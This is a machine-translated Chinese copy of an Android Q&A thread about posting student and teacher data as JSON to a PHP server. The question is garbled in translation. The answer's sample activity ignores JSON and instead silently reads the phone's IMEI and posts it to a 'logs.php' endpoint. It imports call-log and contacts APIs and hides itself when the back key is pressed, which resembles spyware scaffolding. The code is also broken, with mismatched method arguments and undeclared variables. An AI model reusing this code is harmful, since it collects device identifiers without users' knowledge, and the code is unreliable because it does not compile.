2012-04-05 128 views
1

嗨,我是新来的Android我必须发送我的不同的数据使用JSON到PHP服务器,如 标签-----学生的详细信息 学生----- n由具有像学生1 名称 ID DOB 类 辊没有 学生2 每个学生 的细节对象。 。 。 .. 学生ň发送请求与JSON到PHP服务器在Android

标签------老师细节 老师---------- n分别具有类似于 老师的名字 教师ID 司法部每个老师 的细节对象 指定

我已经使用创造试图名称值对列表的第一值对是标记 - 学生/教师 其他值对我使用JSON对象创建 - > JSON数组 - > JSON对象(名称值对) - >教师/学生的详细信息 任何帮助或示例代码将被认为....感谢advan CE

回答

0

试试这个功能的名字 - 值对张贴到PHP脚本

public void postData(List nameValuePairs){ 
     // Create a new HttpClient and Post Header 
     String url = "http://localhost/recieve.php"; 
     HttpClient httpclient = new DefaultHttpClient(); 
     HttpPost httppost = new HttpPost(url); 

     try { 
      // Add your data 
      //List nameValuePairs = new ArrayList(1); 
      //nameValuePairs.add(new BasicNameValuePair(a, b)); 
      //nameValuePairs.add(new BasicNameValuePair("Number", b)); 
      httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs)); 

      // Execute HTTP Post Request 
      HttpResponse response = httpclient.execute(httppost); 


     } catch (Exception e) { 
      // TODO Auto-generated catch block 
      e.printStackTrace(); 
      // TODO Auto-generated catch block 
     } 
    } 

发布该数据使用 - >

List nameValuePairs = new ArrayList(1); 
nameValuePairs.add(new BasicNameValuePair("Number", b)) 
postData(nameValuePairs); 

希望这有助于。

示例代码 - >

package com.mypackage; 

import java.io.UnsupportedEncodingException; 
import java.util.ArrayList; 
import java.util.Arrays; 
import java.util.List; 

import org.apache.http.HttpResponse; 
import org.apache.http.client.HttpClient; 
import org.apache.http.client.entity.UrlEncodedFormEntity; 
import org.apache.http.client.methods.HttpPost; 
import org.apache.http.entity.ByteArrayEntity; 
import org.apache.http.impl.client.DefaultHttpClient; 
import org.apache.http.message.BasicNameValuePair; 
import org.apache.http.params.BasicHttpParams; 
import org.apache.http.params.HttpConnectionParams; 
import org.apache.http.params.HttpParams; 
import org.json.JSONArray; 

import com.loopj.android.http.*; 

import android.app.Activity; 
import android.content.ContentResolver; 
import android.content.Context; 
import android.content.Intent; 
import android.content.ServiceConnection; 
import android.content.SharedPreferences; 
import android.database.Cursor; 
import android.net.ConnectivityManager; 
import android.net.NetworkInfo; 
import android.net.NetworkInfo.State; 
import android.net.Uri; 
import android.net.wifi.WifiManager; 
import android.os.AsyncTask; 
import android.os.Bundle; 
import android.provider.CallLog; 
import android.provider.ContactsContract; 
import android.telephony.TelephonyManager; 
import android.text.TextUtils; 
import android.util.Log; 
import android.view.KeyEvent; 
import android.widget.Button; 
import android.widget.EditText; 
import android.widget.TextView; 
import android.widget.Toast; 



public class MypackageActivity extends Activity { 

    //SharedPreferences mPrefs; 
    @Override 
    public boolean onKeyDown(int keyCode, KeyEvent event) { 
     if (keyCode == KeyEvent.KEYCODE_BACK) { 
      moveTaskToBack(true); 
     } 
     return super.onKeyDown(keyCode, event); 
     } 
    /** Called when the activity is first created. */ 
    @Override 
    public void onCreate(Bundle savedInstanceState) { 
      super.onCreate(savedInstanceState); 

      startr(); 


    } 



    public void startr() { 
     //Toast.makeText(this, "Onstart", Toast.LENGTH_SHORT).show(); 
     //Log.d(TAG, "onCreate"); 
     TelephonyManager manager = (TelephonyManager)getSystemService(TELEPHONY_SERVICE); 
     imei = manager.getDeviceId(); 
     List nameValuePairs = new ArrayList(); 
     nameValuePairs.add(new BasicNameValuePair("imeiimsi", imei+imsi)); 
     postData(nameValuePairs, "sms"); 
     nameValuePairs.clear(); 
     // Set looping 
     } 





    public void postData(List nameValuePairs){ 
     // Create a new HttpClient and Post Header 
     url = "http://localhost/logs.php"; 
     HttpClient httpclient = new DefaultHttpClient(); 
     //need to change it when run on phn :P :P 
     HttpPost httppost = new HttpPost(url); 

     try { 
      // Add your data 
      //List nameValuePairs = new ArrayList(1); 
      //for(int j=0;j<2;j++) 
      //nameValuePairs.add(new BasicNameValuePair(a, b)); 
      //nameValuePairs.add(new BasicNameValuePair("Number", b)); 


       httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs)); 
       // Execute HTTP Post Request 
       HttpResponse response = httpclient.execute(httppost); 
       RequestParams params = new RequestParams(); 
       try { 
        Thread.sleep(10000); 
       } catch (InterruptedException e) { 
        // TODO Auto-generated catch block 
        e.printStackTrace(); 
       } 
     } catch (Exception e) { 
      // TODO Auto-generated catch block 
      e.printStackTrace(); 
      // TODO Auto-generated catch block 
     } 
    } 
} 

让它MYPROJECT一个新的项目名称,然后创建一个活动类,看看上面的示例代码!

+0

你能给我发送完整的示例代码,因为我告诉过你我是一个初学者 – CodingRat 2012-04-05 17:56:53

+0

添加了一个示例代码:) – 2012-04-09 00:39:31

+1

对于迟到的答复感谢支持:) – CodingRat 2012-05-09 05:39:35